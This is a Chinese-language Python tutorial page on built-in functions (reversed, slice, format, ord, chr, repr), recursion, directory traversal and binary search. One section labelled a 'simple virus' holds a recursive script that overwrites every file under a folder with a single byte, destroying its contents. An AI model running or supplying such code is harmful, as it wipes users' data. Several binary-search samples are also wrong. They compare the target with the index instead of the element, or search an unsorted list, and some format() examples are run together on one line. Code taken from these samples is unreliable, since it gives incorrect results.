iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >day 14 内置函数二
  • 892
分享到

day 14 内置函数二

函数day 2023-01-30 23:01:23 892人浏览 八月长安

Python 官方文档:入门教程 => 点击学习

摘要

1.昨日的补充 reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器 lst = ["河南话", "四川话", "东北", "山东", "上海"]   n = reversed(lst) print(list(n))

1.昨日的补充
reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器
lst = ["河南话", "四川话", "东北", "山东", "上海"]
 
n = reversed(lst)
print(list(n))
判断是不是回文
huiwen = "上海自来水来自海上"
 
# s = huiwen[::-1]   #切片的翻转
s1 = reversed(huiwen)   ###返回的是迭代器
n =""
for i in s1:
    n += i
print(n)
slice  切片  ###麻烦
lst = ["河南话", "四川话", "东北", "山东", "上海"]
s = slice(3, 5)
print(lst[s])
fORMat()  与具体数据相关,用于计算各种小数,精算等
#格式化输出
s = "我叫{name}, 我来自{home}, 我喜欢干{hobby}".format(name="周杰伦", home="台湾", hobby="唱歌")
print(s)
# 字符串 和center 相同   对齐
 
# s = "门神"
# s1 = s.center(20)
# print(s1)
 
print(format('test', '<20')) # 左对⻬ 
print(format('test', '>20')) # 右对⻬
 print(format('test', '^20')) # 居中
 # 数值 
print(format(3, 'b')) # ⼆进制 
print(format(97, 'c')) # 转换成unicode字符 
print(format(11, 'd')) # ⼗进制 
print(format(11, 'o')) # ⼋进制 
print(format(11, 'x')) # ⼗六进制(⼩写字⺟) 
print(format(11, 'X')) # ⼗六进制(⼤写字⺟) 
print(format(11, 'n')) # 和d⼀样 
print(format(11)) # 和d⼀样 
# 浮点数 (重点,主要运用在金融计算)
print(format(123456789, 'e')) # 科学计数法. 默认保留6位⼩数 
print(format(123456789, '0.2e')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, '0.2E')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, 'f')) # ⼩数点计数法. 保留6位⼩数 
print(format(1.23456789, '0.2f')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, '0.10f')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, 'F')) # ⼩数点计数法.
ord() 输入字符找带字符编码的位置
# 找到对应字符的编码位置
print(ord('a')) 
print(ord('中'))
chr() 输入位置数字找出对应的字符
# 找到对应编码位置的字符 
print(chr(97)) 
print(chr(20013))
ascii() 是ascii码中的返回该值 不是就返回\u...
# 在ascii中就返回这个值. 如果不在就返回\u... 
print(ascii('a')) 
print(ascii('好'))
转义字符
\n 换行
\t tab 制表符
\r 回车
\" 双引号
\' 单引号
\\ ---> \
print('你好, 我叫周杰伦.我来自\\n台湾. 我老婆叫昆凌')
repr() 返回⼀个对象的string形式, 还原字符串最官方的效果
r 原封不动的显示字符串
# repr 就是原封不动的输出, 引号和转义字符都不起作⽤ 
print(repr('⼤家好,\n \t我叫周杰伦')) 
print('⼤家好我叫周杰伦') 
# %r 原封不动的写出来 
name = 'taibai' 
print('我叫%r' % name)
str:python的字符串
repr: 所有的字符串
print(repr("你好. \\n我叫\周杰伦"))  # Python -> repr() -> cpython c里面. 报错
 
print(r"\n\t范德萨发生\r\b\ffdsaf")  # 原封不动的显示字符串
递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)
def func():
    print("我是递归")
    func()
树形结构的遍历
import os
 
def func(lujing, n): # "d:/a/"
    lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
    for el in lst: # el是文件的名字.  b, c
        # 还原文件路径
        path = os.path.join(lujing, el) # "d:/a/b"
        if os.path.isdir(path): # 判断路径是否是文件夹
            print("..." * n,el) # 显示文件夹的名字
            func(path, n + 1)  # 在来一次  ################
        else:
            print("\t" * n,el) # 显示文件
 
func("d:/a", 0)
简易的病毒
import os
def func(lujing, n): # d:/a/b
    lst = os.listdir(lujing)
    for el in lst: # b, c
        # 路径
        path = os.path.join(lujing, el) # 拼接路径 d:/a/b
        # 判断是文件还是文件夹
        if os.path.isdir(path):
            print("\t" * n, el)
            func(path, n+1)
        else:
            f = open(path, mode="wb")  ##路径写入
            f.write(b'1')    #通过修改字节
            print("\t" * n, el)
 
 
func("d:/a/", 0)
二分法
掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列
查找效率非常高
###通过循环列表跟输入的数字进行比较
lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据
num = int(input("请输入一个数字:"))
for i in lst:
    if i == num:
        print("这个数存在")
        break
else:
    print("这个数不存在")
二分法查找(需要明白和掌握)
lst = [1,3,5,7,12,36,68,79]
     0 1 2 3  4  5  6 7     #通过索引最左加上最右地板除取中间
num = int(input("请输入一个数字:"))
 
lift = 0
right = len(lst) -1
 
while lift <= right:
    mid = (lift + right) // 2
    if num > mid:
        lift = mid + 1
    elif num < mid:
        right = mid -1
    else:
        print('存在')
        break
else:
    print('不存在')
递归的方法一:  通过索引列表的索引
#递归
def func(n, lst):
    lift = 0
    right = len(lst)
    if lst != []:
        mid = (lift+right) // 2
        if n > lst[mid]:
            func(n, lst[mid+1:])
        elif n < mid:
            func(n, lst[:mid])
        else:
            print("存在")
            return
    else:
        print('不存在')
        return
n = int(input("请输入一个数字:"))
func(n, [1,3,5,7,12,36,68,79])
递归二(需要明白和掌握)
def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的
    if left <= right:
        mid = (left + right) // 2
        if n > lst[mid]:
            left = mid + 1
            return func(n, lst, left, right)
        elif n < lst[mid]:
            right = mid - 1
            return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return
        else:
            print("找到了")
            return mid  # 难点
    else:
        print("找不到")
        return -1
 
n = int(input("请输入你要查找的数:"))
lst = [1,3,55,98,37,41,2,5,1,4]
ret = func(n, lst, 0, len(lst)-1) # 78
print(ret)
最快的查找
lst = [1,3,55,98,37,41,2,5,1,4]
 
new_lst = []
for i in range(99):
    new_lst.append(0)
 
 
for i in lst:    # 1,3,55,98
    new_lst[i] = 1
 
print(new_lst)
 
 
i = int(input('请输入你要找的数据'))
if new_lst[i] == 0: # 1次
    print("不存在")
else:
    print("存在")
 

--结束END--

本文标题: day 14 内置函数二

本文链接: https://www.lsjlt.com/news/180476.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • day 14 内置函数二
    1.昨日的补充 reversed    翻转, 将一个序列翻转,返回翻转序列的迭代器 lst = ["河南话", "四川话", "东北", "山东", "上海"]   n = reversed(lst) print(list(n)) ...
    99+
    2023-01-30
    函数 day
  • day 16 - 2 内置函数(二)练习
    内置函数(二)练习 1、用 map 来处理字符串列表,把列表中所有人都变成 sb,比方 alex_sbname=['alex','wupeiqi','yuanhao','nezha']   name=['alex','wupeiqi',...
    99+
    2023-01-30
    函数 day
  • day 15 - 1 内置函数
    内置函数 作用域相关 locals() globals() #这两组开始容易搞混 print(locals()) #返回本地作用域中的所有名字 print(globals()) #返回全局作用域中的所有名字 # global 变量...
    99+
    2023-01-30
    函数 day
  • day 10 函数的进阶
    动态传参 (重点)  *    ** 形参  * args在形参位置, *表示不定参数--接受的是位置参数   接受到的位置参数的动态传参:  都是元组 形参的顺序: 位置  *args 默认值  **kwargs   以后写参数,可以随...
    99+
    2023-01-30
    进阶 函数 day
  • day 17 - 1 递归函数
    递归函数 什么是递归   了解什么是递归 : 在函数中调用自身函数  最大递归深度默认是 997/998 —— 是 python 从内存角度出发做得限制  能看懂递归  能知道递归的应用场景  初识递归 —— 二分法的例子  算法 —— ...
    99+
    2023-01-30
    递归 函数 day
  • 内置函数
    目录 内置函数(掌握) 掌握 了解 面向对象知识点 更多内置函数:https://...
    99+
    2023-01-31
    函数
  • 数据类型内置(二)
    list 1,用途:多个装备,多个爱好,多门课程, 2.定义:[]内可以有多个任意类型的值,逗号分隔元素 优先掌握 1.安索引取值 2.切片 3.长度 4.成员运算in和not in 5.追 加append 6.删除del 7.循环 需...
    99+
    2023-01-31
    数据类型
  • golang函数的内置函数
    内置函数是 go 核心的预定义函数,可轻松执行常见任务,例如类型转换、字符串处理和数学运算。具体来说,它们包括:类型转换函数,允许在不同类型之间转换,如 string、int 和 flo...
    99+
    2024-04-21
    golang 内置函数
  • PHP array_combine() 函数内置函数
    前言: array_combine() 是 PHP 中的一个内置函数,用于组合两个数组并通过使用一个数组作为键和另一个数组作为值来创建一个新数组。也就是说,一个数组的所有元素将成为新...
    99+
    2024-04-02
  • python内置函数
    什么是内置函数 就是python给你提供的,拿来直接用的函数, 比如print 和 input等等. 截止到python版本3.6.2 python一共提供了68个内置函数. 他们就是python直接提供给我们的,有一些我们已经见过了. ...
    99+
    2023-01-30
    函数 python
  • 【MySQL】内置函数
    文章目录 一、日期函数1.1 日期函数的基本使用1.2 案例11.3 案例2 二、字符串函数三、数学函数四、其他函数 一、日期函数 1.1 日期函数的基本使用 获取当前日期与日期 mysql> select cu...
    99+
    2023-08-18
    mysql 数据库
  • python 内置函数
    python内置了一系列的常用函数,以便于我们使用python。基本的数据操作基本都是一些数学运算(当然除了加减乘除)、逻辑操作、集合操作、基本IO操作,然后就是对于语言自身的反射操作,还有就是字符串操作。官方文档:https://docs...
    99+
    2023-01-30
    函数 python
  • 【MySQL--->内置函数】
    文章目录 @[TOC](文章目录) 一、日期函数二、字符串函数三、数学函数四、其他函数 一、日期函数 current_date();当前日期 current_time();当前...
    99+
    2023-10-26
    mysql 数据库
  • 如何在VBS中使用Day 函数
    这篇文章将为大家详细讲解有关如何在VBS中使用Day 函数,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Day 函数返回 1 到 31 之间的一个整数(包括 1 和31),代表某月中的一天。...
    99+
    2023-06-08
  • python内置函数1
    1.r=compile(s,"<string>","exec")  compile()将字符串编译成python代码2.exec(r)  执行python代码3.eval("8*6") eval("")里面只能执行表达式,执行e...
    99+
    2023-01-31
    函数 python
  • Python的内置函数
    1.什么是内置函数   就是python给你提供的. 拿来直接⽤的函数, 比如print., input等等. 截止到python版本3.6 python一共提供了68个内置函数. 他们就是python直接提供给我们的 Makedo...
    99+
    2023-01-31
    函数 Python
  • PHP 内置函数 var_dump()
    内置的 PHP 函数 var_dump() 可以检索标量和复合变量的信息。 对于每个变量,它将显示变量的数据类型和值。 对于字符串变量,var_dump() 还将检索字符串的长度或大小,如果变量...
    99+
    2024-02-27
  • Python之内置函数
    ''' 内置函数 :     作用域相关(2) :         locals : 返回当前局部作用域内的所有内容         globals : 返回全局作用域内的所有内容     基础数据类型相关(38) :         和数...
    99+
    2023-01-31
    函数 Python
  • 匿名函数,内置函数,闭包
    内容 匿名函数:一句话函数,比较简单的函数。 函数名 = lambda 参数 : 返回值 此函数不是没有名字,他是有名字的,他的名字就是你给其设置的变量,比如func。 func() 函数执行 lambda 是定义匿名函数的关...
    99+
    2023-01-31
    函数
  • 函数(二)
    函数的嵌套 定义 函数内部定义的函数,无法在函数外部使用内部定义的函数 def f1(): def f2(): print('from f2') f2() f2() def f1(): def f2...
    99+
    2023-01-31
    函数
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作